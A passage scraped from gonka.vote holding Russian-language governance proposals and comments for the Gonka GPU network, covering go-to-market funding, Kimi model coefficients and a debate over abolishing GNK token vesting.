Мало кто хочет активно работать над Gonka бесплатно. Если люди будут тратить своё время, но ничего за это не будут получать — либо они все быстро выгорят, либо у нас родится куча всяких коррупционных схем. Люди тихой сапой будут продвигать пропозалы своих ставленников за откаты, убеждать их вести трафик именно на свои сервисы, и тд.
Чтобы это предотвратить, нам надо найти способы финансировать людей в соответствии с их заслугами.
Наше предложение напрямую направлено на решение этой проблемы в части go-to-market.
📌 III. Конфликт интересов в оценке нашего собственного пропозала безусловно есть, мы лично хотим чтобы он был принят, и чтобы мы получили вознаграждение.
📌 IV. Конфликта интересов в работа с внешними исполнителями станет сильно меньше.
Наша задача: продемонстрировать нашу эффективность за 3 месяца, получить от сети премии: удвоения-утроения GNK и быть продленными дальше.
При этом наш бюджет и возможности сейчас очень ограничены. Разумеется, мы будем рады независимо пришедшим качественным внешним исполнителям, благодаря которым наш бюджет и возможности расширятся.
Конфликт интересов возникнет только если начнет образовываться другая сильная команда, готовая системно работать над go-to-market и не желающая объединяться / не согласная с нашей стратегией. В этом случае к нашему мнению нужно будет относиться более критически. Но не стоит забывать, что мы как держатели GNK лично заинтересованы во всем, что приводит к росту цены GNK.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_1", "title": "💬 Viktor", "text": "2026-07-06 16:00 · 👍 1 · 👎 0
Спасибо за комментарий! 1. Структура вознаграждения и кейсы частично имеются; довольно много людей, с которыми планируем начинать, известны. Многие из них уже много вкладываются в Gonka, и сделали много полезного бесплатно.
Бюджет на категории разделен с поправкой на то, что мы находимся на ранней стадии и сами не знаем, что лучше заработает.
По сумме: здесь как раз можно обсудить с конкретикой по заявленным планируемым тратам бюджетов.
Последнее не понял. В любом случае мы сейчас максимально открыты к обсуждениям.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_2", "title": "💬 Viktor", "text": "2026-07-05 15:47 · 👍 0 · 👎 0
-- вопрос/критика --
Стоит ли заниматься Go-To-Market для пользователей инференса, пока сеть не работает стабильно? Ну привлечем мы аудиторию, она обожжется. Потом даст 2й шанс. Снова обожжется. Станут ли пользоваться 3й раз?
-- наш ответ --
📌 По этому вопросу было очень много дискуссий, в том числе при обсуждении Roadmap. И было принято решение, что нужно. В том числе, что уже сейчас нужно исследование целевых аудиторий, понимание как их дешево находить, что и в каком формате им предлагать; как приоритизировать задачи в разработке чтобы быстрее удовлетворить запрос ключевых сегментов пользователей.
\"Хоп, инференс заработает — и люди прибегут\" — так бывает очень редко, и все равно ограниченно.
За Roadmap с этим решением проголосовали, он принят, не хочется откатываться назад.
📌 Также нам крайне важна отладка сети, в том числе отладка механизмов рыночной регуляции. Без этой отладки аудитория все равно обожжется. только позже.
📌 Безусловно, в коммуникациях с пользователями надо подсвечивать, что проект еще на ранней стадии и что сеть нестабильна — и предлагать пробовать именно тем, кому сеть интересна уже в текущем состоянии.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_3", "title": "💬 Viktor", "text": "2026-07-05 15:49 · 👍 0 · 👎 0
-- вопрос/критика --
Почему мы планируем сразу много направлений, а не одно гипотетически самое конверсионное?
-- ответ --
📌 Вероятность того, что одно направление выстрелит, слишком мала чтобы все ставить на него.
📌 Наша задача: дойти до ощутимых результатом и продемонстрировать нашу эффективность за 3 месяца. Это НЕ \"попробовать способ продвижения Х\", а найти реально работающие способы продвижения.
📌 Мы много думали и сами, и разговаривали с опытными CMO, спрашивали, на чтобы бы они сделали ключевую ставку.
Топ собранных мнений: 📌 1. Нужна ставка на реселлеров инференса: openrouter, together.ai, requesty, liteLLM — у них уже есть большие объемы, Gonka для них это существенная экономия, а для Gonka это существенный спрос. НО в B2B всегда долгий цикл сделки и есть риск: Gonka сейчас на слишком ранней стадии для них, наша сеть нестабильна, у нас исчезают модели. 📌 2. Нужна ставка на B2C, на строителей агентов и indie-хакеров: они могут сразу подключиться, заплатить за токены вперед и рассказывать об опыте использования. НО Угадать с направлением, языком, способом привлечения и оффером заранее едва ли получится. Нужно будет проверить много разных гипотез. Нужны либо активные энтузиасты, либо деньги на платный маркетинг.
📌 В итоге мы отобрали треки, которые, наиболее вероятно, приведут к успеху, и планируем по ним двигаться. При этом ситуация меняется, мы планируем регулярные брейнштормы по целевым аудиториям и гипотезам их привлечения — и вполне может быть, что наши фокусы по ходу этих трех месяцев изменятся.
Также есть аналитика, pSEO, соцсети, и другие вещи про узнаваемость бренда Gonka, которые критически важны по всем направлениям, и странно ими не заниматься если это в любом случае важно для проекта и способно кратно повысить эффективность по остальным направлениям.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_4", "title": "💬 Viktor", "text": "2026-07-05 15:50 · 👍 0 · 👎 0
-- ответ --
📌 Мы отвечаем за успех инициативы, и, следовательно, найм. Планируем вовлечь и активных людей из комьюнити, и извне. Кто-то готов вовлекаться fulltime, кто-то - part-time.
📌 Работать будем по направлениям (B2B, B2C, узнаваемость бренда Gonka) и спринтам (2 недели). На каждое направление+спринт выделяется бюджет, который в конце распределяется между участниками пропорционально вкладу и достигнутым результатам. Те, кто работает лучше, получает больше. Менее успешные меняют стратегию или выпадают. 8-15 - примерная оценка числа людей, попадающих в спринт.
Для распределения наград планируется использовать AI-агентов, помогающих собирать проделанную работу и достижения, систематизировать это, готовиться к АМА, и, в том числе, распределять награды.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_5", "title": "💬 Viktor", "text": "2026-07-05 15:51 · 👍 0 · 👎 0
-- ответ --
📌 Полная сумма из бюджета, которую мы хотим аллоцировать под это дело на 3 месяца ~ 3М GNK.
840K GNK - это минимальная оплата в GNK в вестинге чуть ниже рынка прямых зарплат в USD. C момента обсуждения нами ставок с участниками курс GNK упал на ~ 35%.
Существенная часть мотивации соглашаться на работу в таких условиях: удвоение-утроение бонуса в случае хороших результатов работы, запросы на выплаты которых планируется подавать отдельными пропозалами по результатам.
📌 Много раз обсуждалось, сколько GNK нам логично тратить в месяц на продвижение на раннем, и, во многом, определяющем этапе. Назывались цифры и в 1M GNK, и в 2M GNK в месяц. Наш запрос укладывается в минимальную из оценок.
Также замечу, что предыдущие месяцы GNK на продвижение из community на продвижение практически не выделялись. Эти средства есть, лежат, и обесцениваются вместе с падающим курсом GNK.
📌 На подготовку этого предложения ушло 2 месяца. Мы учли децентрализованные особенности проекта: как вовлечь и уже имеющихся предпринимателей изнутри, и предпринимателей извне; как справедливо и эффективно распределять трафик между сервисами, не сильно теряя в эффективности воронок привлечения; как лучше организовывать работу по привлечению целевых аудиторий разных типов в нашем случае.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor_6", "title": "💬 Viktor", "text": "2026-07-05 15:52 · 👍 0 · 👎 0
-- ответ --
Не будут раскрыты: 1. По причинам безопасности и конфиденциальности (так же как корпорации не раскрывают публично зарплаты своих сотрудников)
Например: если я могу отдать 10% своих GNK за активность, которая вырастит их курс на 20% — я с удовольствием это делаю.
View on gonka.vote
"}, {"location": "proposals/preproposals/d14f975e-0e40-4a94-81c5-715a02c3826e/", "title": "Коэффициент для Kimi 2.6 - 1,87", "text": "🔴 ExpiredAuthor: Alex Sharoiko Александр Шаройко Created: 2026-05-13 08:19 UTC Closes: 2026-05-20 07:08 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Сейчас для GPU, которые поддерживают Kimi (Н200, В200, В300) установлен повышенный коэффициент 1,87. Кажется, это делает майнинг на Н100 нерентабельным и тем самым губит сеть.
"}, {"location": "proposals/preproposals/d14f975e-0e40-4a94-81c5-715a02c3826e/#full-proposal", "title": "Full Proposal", "text": "Проблема: Слишком высокий коэффициент.
Решение: Уменьшить коэффициент пропорционально цене аренды GPU
Все свои расчеты я вел вот здесь: https://docs.google.com/spreadsheets/d/1IIONLiWCLAo8TKF5TNSX6Y0Byj_2MurfhA68W22vQt8/edit?gid=2050838965#gid=2050838965
Сейчас коэффициент для Kimi около 1,88 При этом цена отличается существенно меньше, чем Вес.
Это нужно изменить.
Нужно иметь в виду, что все-таки хотя бы первое время нужно стимулировать ставить модель Кими.
Думаю, на первое время достаточно будет коэффициента 1,1, который в будущем будет изменен до 1,05
Жалко, что здесь нельзя приложить скрины. А то я бы приложил.
Видимо, придется писать Статью.
View on gonka.vote
"}, {"location": "proposals/preproposals/d185d9eb-243f-4228-b4ac-e2c7a50a5325/", "title": "Улучшаем инфиренс Kimi", "text": "🔴 ExpiredAuthor: Mitch Created: 2026-07-14 01:37 UTC Closes: 2026-07-21 01:37 UTC Language: RU Votes: 6 Avg. Bid: 0.00 GNK
Kimi в Gonka перегружен и сыпет ошибками. Разбираем, почему так вышло, и что можно исправить прямо сейчас через Governance и настройки нод.
"}, {"location": "proposals/preproposals/d185d9eb-243f-4228-b4ac-e2c7a50a5325/#full-proposal", "title": "Full Proposal", "text": "Факты:
У разработчиков большие планы, как много чего улучшить, и от майнеров тут не особо что то зависит, ток советы можем давать. Но вот что мы реально можем, так это менять настройки через Governance, и это сработает прямо сейчас.
"}, {"location": "proposals/preproposals/d185d9eb-243f-4228-b4ac-e2c7a50a5325/#8xb-200", "title": "Что можно сделать если у вас 8xB-200", "text": "2026-07-14 03:04 · 👍 0 · 👎 0
Thanks for the detail research and clarity!
For me it seems better to 1. Start with increasing the coefficient for Kimi by 10%. Expect that situation will improve and measure, how much 2. Increase the coefficient for Kimi again, depending on the results of step 1. Iterate.
Regarding idea with removing non-delegation penalty: - it's looks as a good idea to play with it, it really can decrease number of not quality attempts to handle Kimi requests - arguments, why it was implemented should be considered deeper - as I remember, in May-June, when network worked well, such penalty already existed - we should consider deeper, what changed
Regarding to idea with Kimi price changes - here it's better to investigate, why the implemented denamic price mechanism doesn't work - and try to fix it while we have an opportunity to test it on small volumes.
To change price manually - it's a dangerous zone that even more decreases the sence of brokers and clients stability. Problems with Kimi were even before it was fully loaded.
My experience regarding to such a question: modeling Yandex Market auction, optimizing bids for goods providers
"}, {"location": "proposals/preproposals/d185d9eb-243f-4228-b4ac-e2c7a50a5325/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-07-14 07:20 · 👍 0 · 👎 0
Жалко что здесь нельзя прикладывать скрины. Ты обращаешься к двум людям фактически, т.к. в сети всего четыре адреса с такими GPU.
Прилагаю ссылкой: https://prnt.sc/9gCAQ26WvSeA
Два крупных, два не крупных.
Хорошо бы лично обратиться, если бы знать, кто это ))
Но, я думаю, они боятся мисрейтов.
Тут бы мог помочь сильный яRestitution Comity, но они открещиваются от таких задач и сейчас вообще непонятно, есть ли этот комитет.
Инфу я брал отсюда: https://ranking.gonkadb.com/
Кроме того я не видел еще запущенных Kimi на 8*В200. Одна нода (есть на скрине), но это нода КорТим и у нее какие-то особые правила работы. Смотреть на нее не нужно.
View on gonka.vote
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/", "title": "Вестинг: почему его стоит отменить сейчас", "text": "🟢 ActiveAuthor: Mitch Created: 2026-07-18 06:19 UTC Closes: 2026-08-01 06:18 UTC Language: RU Votes: 3 Avg. Bid: 0.00 GNK
Отменить его стоит не потому, что это спасёт цену. А потому что когда продукт будет готов и придёт спрос — сеть должна быть привлекательна и удобна для поставщиков GPU.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#full-proposal", "title": "Full Proposal", "text": "Вестинг: почему его стоит отменить сейчас
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_2", "title": "Коротко", "text": "Вестинг решает не ту задачу, которую мы думаем. Он не защищает цену — это доказано. Он определяет, кто вообще может участвовать в сети.
У него есть плюс, и мы его честно разберём. Но минус перевешивает.
Отменить его стоит не потому, что это спасёт цену. А потому что когда продукт будет готов и придёт спрос — сеть должна быть привлекательна и удобна для поставщиков GPU.
Поставщикам GPU нужны деньги сразу, а не через пол года, причем понятное количество денег в USD, а не неизвестное.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_3", "title": "Начнём с плюса", "text": "Не буду делать вид, что у вестинга нет смысла. Смысл есть, и его стоит признать.
Вестинг замедляет движение денег. Токены, которые заперты, не продаются. Меньше токенов на рынке — меньше давления на цену. Это правда, и это работает.
Экономисты называют это скоростью обращения. Идея простая: если одна и та же тысяча токенов за месяц десять раз переходит из рук в руки — давления на цену больше, чем если она лежит. Вестинг делает так, чтобы лежала.
Второй плюс: сигнал. «180 дней вестинга» читается со стороны как «команда серьёзная, майнеры не сбегут завтра». Биржи это смотрят, аналитики это смотрят.
Третий: он сглаживает шок при старте. Первые полгода после запуска сети продавать было буквально нечего — всё в локе. Это дало проекту время.
Всё это настоящее. Теперь посмотрим на цену этих плюсов.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_4", "title": "Что произошло на самом деле", "text": "Январь: цена 1.5. Сейчас: 0.15. Падение в 10 раз за полгода.
Всё это время вестинг работал на полную. 180 дней, у всех, без исключений.
Он не защитил ничего.
Дальше — вес сети. Пик был 11 млн, сейчас 559 тысяч. Падение в 20 раз. Мощность ушла быстрее, чем цена.
Полгода механизм работал в идеальных условиях — и цена всё равно упала в 10 раз.
Это не значит, что вестинг бесполезен. Это значит, что его эффекта не хватило. И стоит понять, почему.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_5", "title": "Почему так вышло", "text": "Разберём, как вестинг работает на самом деле, а не как кажется.
У нас линейный разлок: каждый день приходит 1/180 от намайненного.
Представь майнера, который работает уже полгода. Что он получает сегодня?
Складываем: он получает сегодня примерно столько же, сколько намайнил сегодня.
Не ровно столько — тут две оговорки:
Оговорка 1: эмиссия падает. У нас непрерывный халвинг, награда за эпоху плавно уменьшается. Значит то, что разлачивается сегодня, было намайнено при более щедрых условиях. Разлок получается чуть больше сегодняшней добычи.
Забавно, но это значит, что вестинг при падающей эмиссии не сглаживает предложение, а слегка увеличивает его — тянет более щедрое прошлое в настоящее.
Оговорка 2: вес сети менялся, и сильно. Полгода назад в сети было 2 млн веса, сейчас 559 тысяч. У кого доля выросла — тот сегодня майнит больше, чем разлачивает. У кого упала — наоборот.
Но принцип от этого не меняется:
Для того, кто работает больше 180 дней, вестинг превращается в постоянный поток. Не в блокировку. Он получает деньги каждый день, просто со сдвигом на полгода и с поправкой на то, как менялись эмиссия и его доля.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_6", "title": "Вестинг не механизм удержания", "text": "Влияет ли вестинг на тех, кто решил перестать майнить? Нет — он выключит ноду, а хвост всё равно придёт 180 дней. Намайнил один день — будешь получать разлок полгода.
Значит вестинг — это не механизм удержания. Он не создаёт ни одной причины остаться. Он создаёт только барьер для входа.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_7", "title": "Но есть вещь похуже", "text": "Вот тут главное.
Майнер арендовал сервер за $30 000 / мес. Он оптимизирует железо, следит за аптаймом, дебажит ноду. Это его работа, он в ней профи.
Что он получает? Не деньги. Он получает обещание токенов на полгода вперёд, по цене, которую никто не знает.
Причём это не разовая история. Он всё время держит примерно 90 дней добычи в вестинге. Продал сегодняшний разлок — завтра прилетит следующий. Пока майнишь — не избавишься.
Он не хотел держать эти токены. Он не может от них отказаться.
Мы взяли специалиста по железу и пытаемся заставить его быть инвестором.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_8", "title": "Что из этого следует", "text": "Посчитай окупаемость сервера при вестинге.
Ты арендуешь железо за $30 000 / мес сегодня. Окупаемость зависит от цены GNK, которая определится в течение следующих 180 дней. Ты её не знаешь.
Это не сложная задача. Это нерешаемая задача.
Величина, от которой всё зависит, лежит в будущем. Посчитать нельзя. Можно только угадать.
Кто в такой ситуации зайдёт? Только тот, у кого есть мнение о цене GNK. То есть инвестор.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_9", "title": "Кто сейчас майнит?", "text": "Коллективные пулы по сути вышли из игры. Мой Gonka.Top обслужил последнего клиента 2 недели назад, с тех пор спроса нет вообще. Ancapex майнит на 4xB200 и все. Остальные вообще закрылись. Даже топовый МЛМ пул перестал майнить.
Средние инвесторы, которые заходили через гонку на 10-100k$ через майнинг на арендованых серверах тоже похоже вышли из игры, судя по моему опросу. Кого не спрошу “я уже не майню”.
Знаю 3х человек, фанатов, которые купили под гонку по одному серверу! Из них самый лучший всего лишь с H200.
Похоже что сеть держится всего на нескольких крупных инвесторах, которые уже вложили не один миллион $ в майнинг gonka, и которые поддерживают сервера по сути как защита своих инвестиций, чтоб гонка не закрылась вообще.
Эту же позицию и BitFury озвучивали на AMA “мы запустим свои сервера, и до нуля не дадим упасть сети, пока продукт не будет готов”. Может уже и запустили.
Может быть конечно, кто то из крупных просто еще не набрал запланированный объем, и его все устраивает, но в этом есть большие сомнения.
HyperFusion — казалось бы, вот он, настоящий провайдер. Своё железо, каналы сбыта, контакты с бизнесом. Но в Gonka он ведёт себя как инвестор: майнит за свои, несёт токенный риск, ждёт роста. Не потому что хочет — потому что других условий нет.
Кого нет? Провайдера GPU, который работает как провайдер. Того, кто считает: час 8xB300 стоит $X, продаю за $Y, маржа Z%. Который продаёт часы в Vast.ai, Runpod, напрямую бизнесу — и параллельно продавал бы в Gonka, если бы сходилось.
Его нет, потому что сойтись не может. Ему платят токеном, которого он не просил, по цене, которую узнает через полгода.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_10", "title": "Про сложность, которую мы создали", "text": "Инвесторы всё же находят способ. С ноября по февраль это работало так: инвестор давал оператору майнинга вроде меня доллары на сервер и его работу, а майнинг шёл на кошелёк инвестора. Роли разделялись: оператор занимался железом, инвестор нёс риск.
Хорошая конструкция. Но посмотрите, сколько там лишнего:
И всё это ради чего? Чтобы получить GNK.
Который можно просто купить на Uniswap.
Вся эта конструкция существует не потому, что она кому-то нужна. Она существует потому, что майнинг и инвестирование склеены вестингом, и чтобы их разлепить, приходится строить ручной костыль из доверия и переговоров.
Раздели их в протоколе — и костыль не нужен. Оператор получает GNK и продаёт, сразу получая небольшую маржу в USD. Инвестор покупает на Uniswap, когда хочет и сколько хочет. Каждый делает то, что умеет, никто никого не ищет.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_11", "title": "И вот главное", "text": "Допустим, кор-тим всё сделал. Инференс стабилен, багов нет, динамический прайсинг работает, цена реальная. Пришёл спрос.
Кто придёт его обслуживать?
Провайдер с 50 GPU смотрит на Gonka и видит: платят токеном, полгода лока, окупаемость непредсказуема. Он идёт в OpenRouter — там платят долларами послезавтра.
Он не придёт. Ни при каком спросе. Ни при какой цене инференса.
Не потому что Gonka плохая. Потому что условия входа написаны не для него.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_12", "title": "Плюс против минуса", "text": "Теперь сведём.
Плюс: вестинг замедляет движение денег. Меньше продаж — цена держится лучше. Эффект реальный, но ограниченный: мы видели, что его не хватило даже близко.
Минус: вестинг не пускает в сеть тех, кто мог бы её вырастить.
Почему минус тяжелее?
Замедление денег — это разовый и небольшой эффект на цену. Он работает в моменте и не накапливается. Мы прожили полгода с максимальным вестингом — и получили −90%.
А рост сети — это фундамент цены. Больше мощности → лучше качество и скорость → больше клиентов → больше реальный спрос на GNK → выше цена. Это не разовый эффект, он множится.
Мы платим вестингом за небольшое замедление продаж, а взамен отдаём саму способность расти.
И это видно по цифрам: за полгода вес сети упал в 20 раз, а цена — в 10. Мощность падала быстрее цены. Мы защищали не то.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_13", "title": "Про аргумент «те, кто в Гонке, всё равно холдят»", "text": "В сообществе звучит мысль: участники майнят ради того, чтобы держать GNK. Они верят, что токен будет работать в большой сети, и не собираются его сбрасывать. Вестинг им не мешает — они и так холдят. А раз никому не мешает, то и трогать нечего.
Для тех, кто уже здесь, это правда. Они действительно холдят. Мы это видим прямо сейчас: разлоченное лежит и не продаётся.
Но вопрос не в тех, кто уже здесь. Вопрос в тех, кого здесь нет.
Провайдер с 50 GPU не собирается холдить GNK. Он не верит и не не-верит — у него просто нет мнения. Он продаёт вычисления, у него счета за стойку и электричество в долларах каждый месяц. Холдить чужой токен полгода — это не его бизнес.
Вестинг написан под тех, кто и так холдит. Для них он безобиден — и именно поэтому они его не замечают.
А для тех, кто мог бы прийти со своим железом и просто работать, он закрывает дверь.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_14", "title": "Почему именно сейчас", "text": "Тут два довода, и оба про момент.
Первый: Обвала в разы думаю не будет.
Посмотрите на факт: у тех, кто сидит в вестинге, уже накопилась куча разлоченного. И они его не продают. Цена плохая, ждут.
На Uniswap за последний месяц в среднем в день 29k GNK покупки и 64k продажи. При том что ежедневно разлок более 250к GNK.
Значит вестинг их уже не держит. Они и без него не продают. Убери его завтра — они продолжат не продавать.
Если же сделать это изменение на росте, отмена вестинга вероятно может затормозить рост, это значимое изменение и он может отпугнуть инвестора. А сейчас пугать некого.
Убирать вестинг, и делать прочие радикальные изменения надо на дне. Не на восстановлении.
Второй, более важный: условие входа должно существовать раньше входящего.
Скажут: «сейчас отмена бесполезна, притока всё равно нет».
Да. Именно поэтому её надо делать сейчас.
Дверь строят до того, как придут гости. Если мы дождёмся продукта и только потом откроем — потеряем полгода на то, чтобы провайдеры узнали, поверили, посчитали, зашли. А в момент запуска мощность нужна сразу.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_15", "title": "Когда будет готов продукт?", "text": "Просто отмена вестинга конечно не спасёт сеть. Сеть спасёт продукт. Это работа кор-тима в первую очередь, и она займёт столько, сколько займёт. Там много чего надо сделать, начиная с переделки PoC и дополнительных механизмов в девшардах. Кроме фикса багов уже известных, и поиска новых.
Радует что не только кор тим работает над протоколом, но и сторонние программисты.
Что нужно как минимум:
В идеале вообще уйти от PoC и присваивать вес за реально произведенную полезную работу. Это на словах простая идея, но техническая реализация ОЧЕНЬ сложная, по сути нет даже пока ее готовой логической архитектуры (я видел только наброски под кодовым названием WASP). Усложняется все тем - что у нас децентрализованная сеть, доверять можно только консенсусу, и учесть надо все возможные векторы атаки технические и экономические манипуляции.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_16", "title": "Тогда зачем отменять вестинг?", "text": "Открыть двери в майнинг не только инвесторам, но и реальным GPU провайдерам. Можно построить идеальный прайсинг. Но если платят через полгода и тем более неизвестно сколько - провайдер не придёт.
Отмена вестинга не достаточна. Но она желательна, если мы хотим догнать по комьюту большие корпорации. И отменять лучше сейчас, иначе мы построим продукт, который неудобен поставщикам GPU, а мы же делаем сеть именно чтоб им было удобнее поставить свои GPU в гонку, проще и выгоднее.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_17", "title": "Что конкретно предлагается", "text": "Убрать вестинг с новой эмиссии. Параметр меняется глобально: с даты X всё, что намайнено, приходит сразу. Старые локи продолжают разблокироваться как есть.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#_18", "title": "Итог", "text": "У вестинга есть плюс: он замедляет продажи. Мы его признаем.
Но он же склеивает две разные роли в одну. Хочешь майнить — будь инвестором. Не хочешь быть инвестором — ищи того, кто согласится, договаривайся, согласовывай. Собсно боль поставщиков GPU “поиск клиента на мощности” остается не решенной, меняется только тип клиента, нужна реклама, отдел продаж и работа с клиентами.
А должно быть - поставил новые GPU, настроил, подключил к гонке и зарабатываешь, как майнинг биткоина.
Инвестору не нужен майнер на самом деле. Ему нужен GNK — и он лежит на Uniswap. Сейчас инвестор ищет майнера, просто как более дешевую точку входа, и готов за это получить менее качественную, залоченную гонку.
Плюс небольшой и разовый. Минус — структурный: он ограничивает скорость роста сети. А рост сети влияет на цену сильнее и дольше, чем любое замедление продаж.
Мы готовимся к тому дню, когда продукт будет готов. В этот день нам нужно, чтобы человек с 50 GPU мог посмотреть на Gonka и посчитать — а не гадать.
Сегодня посчитать нельзя. Давайте это исправим.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#comments-8", "title": "Comments (8)", "text": ""}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-07-18 08:00 · 👍 2 · 👎 1
2026-07-18 14:06 · 👍 1 · 👎 0
Расшарил чат, в результате которого я сделал эту статью. https://claude.ai/share/bdcf32ba-920b-434f-ba62-9a686f13f2f5
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-07-18 08:26 · 👍 0 · 👎 0
А еще мне интересно, кто эти люли, которые покупают на 29К в день. И покупают еще не самым простым способом - через Uniswap и WGNK.
Нам бы увеличить в 10 раз это количество людей, и тогда вся эмиссия продавалась бы за 1 день.
Предлагаю приложить усилия к популяризации токена GNK как инвестиционного актива.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#kirill-smerkins", "title": "💬 Kirill Smerkins", "text": "2026-07-18 09:37 · 👍 2 · 👎 2
Ты реально не можешь отличить форматирование от реального АИ содержания? Тебе указали на паттерны - двойные обороты, длинные тире, структура текста и заголовков - 80% именно создано АИ. А запрос был примерно такой - \"накидай аргументы в пользу отмены вестинга\". Справочно для других: Dem лично знаком с Митчем, отсюда у него всегда будет преобладать защищающая его позиция.
Никто не спорит что команда \"может и знает\" и они точно также могут попросить проголосовать (как это сделал сейчас Моргачев со своим пропозалом). Не надо придумывать за команду и разработчиков проблемы и потом придумывать решения с целью выпендриться и залутать часть комьюнити пула под бесполезный пропозал. \"Они не голосуют\" - это не проблема!
2026-07-18 09:59 · 👍 0 · 👎 0
Когда сеть \"будет готова\" и размеры на инференс в гнк будут существенные (в виду цены в несколько центов они станут существенными даже при низкой стоимости инференса), например, 100-200к gnk в эпоху, то именно вестинг может создать дефицит и начать выводить цену туда, где ее хотят видеть.
В противном случае, все расходы на инференс моментально возвращаются на рынок.
Отмена вестинга не дает главного — она не увеличивает спрос на бирже на гнк. Поэтому даже при появлении новых майнеров, желающих продать сразу — сделать в плюс они это не смогут.
Также нельзя забывать, что отмена вестинга снижает привлекательность майнинга для новых инвесторов. Так как отмена неизбежно сокращает спред между биржей и себестоимостью. Плохо ли это? Не факт.
Это не определяющие доводы в пользу вестинга (думаю его пора сократить), но хотелось бы услышать прежде всего мнение от разработчика токеномики.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#mitch_1", "title": "💬 Mitch", "text": "2026-07-18 14:09 · 👍 0 · 👎 0
Как раз нет, Девид уверен в пользе вестинга. Эта статья, попытка указать команде что у вестинга есть очень существенный минус. В чате было обсуждение, поресерчил идеи с ии, отобрал то что сам считаю важным и оформил чтоб удобно читалось.
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#slava-mygonka_1", "title": "💬 Slava MyGonka", "text": "2026-07-18 08:22 · 👍 0 · 👎 1
Сейчас Майнер = Инвестор. Это те люди, которые хотят купить GNK в долгосрок и купить ниже рыночной стоимости. В Майнинге, даже с большими комиссиями 20% майнинг пула, это пока получалось.
Ты предлагаешь расширить понятие Майнер-Инвестор до Майнер - Поставщик оборудования. То, что они сразу будут сливать все намайненное в стакан - это понятно. В этом случае мы фактически отдаем маржу Майнера - Инвестора Майнеру- поставщику GPU. Мне это не нравится. Мы убираем вообще стимул долгосрочных инвестиций.
Сейчас поставщики GPU могут почти бесплатно хостить модели Gonka. Мы это обсуждали однажды. Т.е. они ставят модель Gonka и на эту же модель запускают инференс своих клиентов (или свой собственный) в обход Gonka. Так они зарабатывают два раза. При такой схеме их себестоимость добычи GNK = 0. Если они сразу получат GNK, то продажа даже по 0,01 USD будет им выгодна. Вестинг пока немного защищает от таких схем. Т.е. чтобы так делать нужно быть немножко Майнером-Инвестором.
В общем, у меня нет точного мнения на этот счет, но Майнеры-Инвесторы мне нравятся больше, чем Майнеры-Поставщики, т.к. вторые фактически занимаются \"скальпингом\", т.е. краткосрочной спекуляцией.
Наратив майнинга должен быть таким: Через Майнинг вы получите GNK дешевле, чем на споте.
Если убрать Вестинг, то такой наратив будет уже невозможен. А хотя... Bitcoin же как-то майнится...
"}, {"location": "proposals/preproposals/d23b0edf-57fb-4522-bd79-04ffdcc9d7a5/#kirill-smerkins_1", "title": "💬 Kirill Smerkins", "text": "2026-07-18 07:18 · 👍 1 · 👎 3
80% написано с помщью АИ - двойные конструкции, длинные тире и изложение - все это говорит о том, что автор просто забил свой тезис в не самую лучшую ИИ-шку и попросил накидать аргументы в защиту своего мнения. Хватит создавать видимость работы, когда закончились собственные возможности заработка на майнинге и ушел основной источник дохода. Хватит выносить бесполезные пропозалы и абузить комьюнити пул (не в части этого конкретного предложения). Команда и Bitfury сами знают как поступать с токеномикой и разработкой.
View on gonka.vote
